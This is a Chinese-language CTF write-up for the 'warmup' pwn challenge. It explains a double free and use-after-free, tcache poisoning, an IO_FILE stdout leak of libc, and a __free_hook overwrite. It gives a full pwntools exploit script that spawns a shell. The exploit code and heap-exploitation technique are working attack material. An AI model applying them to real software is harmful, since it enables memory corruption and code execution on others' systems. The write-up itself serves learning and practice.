前言
- 国内实力战队出的题目质量都非常高,我不敢想象这就是pwn的签到题。首先说一下这道题如何质量高。这道题涉及到了double free、UAF、tcache attack、IO_FILE的利用。赛后复现用去了我差不多3天的时间来钻研。
保护
分析
- 程序只有增加、删除、编辑三个操作,并且保护全开,这种情况下只能利用IO_FILE来泄露内存。增加操作中已经限制了分配的大小:
- 漏洞有些隐蔽,首先看编辑函数:
- 这里先是将指针赋值给ptr变量,下面再来判断它的有效性。
- 删除函数中,如果输入的指针索引在0~9中,如果指针为空,它就会释放ptr指向的内存。那么,我们只要先编辑一个有效的指针,然后释放的时候,输入一个无效指针索引,实际上释放的还是编辑的那个指针,并且不会被置空,由此产生了double free和UAF。
利用
- 因为分配的大小做了限制,所以我们不能直接分配得到unsortbin’s chunk,而题目给的libc是2.27的,我们可以利用tcache attack来分配一个overlaping chunk来修改邻接chunk’s head->size,使其变成unsortbin’s chunk,再释放8次使其进入unsortbin。
- 部分修改刚释放的unsortbin’s chunk的fd指向stdout,double free一个指针,利用UAF编辑这个指针的FD,指向刚释放的unsortbin’s chunk,然后分配两次,第三次分配时候就可以编辑stdout泄露内存了。
- double free一个指针,编辑FD精确攻击free_hook,释放三个没有释放的不重复的指针。
- tcache attack free_hook。
EXP
from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(data):
p.sendlineafter('>>','1')
p.sendafter('>>',data)
def Del(idx):
p.sendlineafter('>>','2')
p.sendlineafter(':',str(idx))
def Edit(idx,data):
p.sendlineafter('>>','3')
p.sendlineafter(':',str(idx))
p.sendafter('>>',data)
while True:
try:
p=process('./warmup')
proc_base=p.libs()[os.path.abspath(os.path.join(os.getcwd(), './warmup'))]
for i in range(5):
Add(str(i+1)*8)
Edit(4,'\n')
for i in range(3):
Del(9)
Del(4)
Edit(0,'\0'*0x10+p64(0)+p64(0x51))
Del(9)
Del(0)
Add('\x90')
Add('\n')
Add(p64(0)*5+p64(0xa1))
Edit(1,'\n')
for i in range(8):
Del(9)
Edit(1,p16(0x1760))
Del(0)
Edit(5,'\n')
Del(9)
Edit(5,'\xc0')
Add('\n')
Add('\n')
Add(p32(0xfbad1880)+'\0'*0x1c+'\x88')
leak=p.recvuntil('done!')
if len(leak)<8:
raise EOFError
libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdout_']-131
success("libc_base:"+hex(libc_base))
Del(0)
Edit(5,'\n')
Del(9)
Edit(5,p64(libc_base+libc.sym['__free_hook']))
Add('\n')
Add(p64(libc_base+libc.sym['system']))
Edit(0,'/bin/sh\0')
Del(0)
p.interactive()
exit(0)
except EOFError,e:
p.close()
总结
- 如何使用tcache attack构造overlaping chunk不难,难的是保证释放unsortbin chunk之后分配内存不会出错,为此我折腾了大约三天。究其原因还是因为之前构造overlaping chunk的时候不太合理。
- 总的来说tcache attack比fastbin attack要好利用得多。具体说来,此题利用的是tcache attack中的tcache poisoning,与此类似的是fastbin attack中的Arbitrary Alloc。然而,后者需要绕过大小的检测,而前者不需要。但是注意到本EXP中在利用tcache attack构造overlaping chunk之前还伪造了chunk head,这并不与我刚说的“不需要绕过大小检测”这句话矛盾,而是为了后续分配其他chunk的时候不出错。
- 更多的细节只可意会,不可言传,一切尽在调试中。。。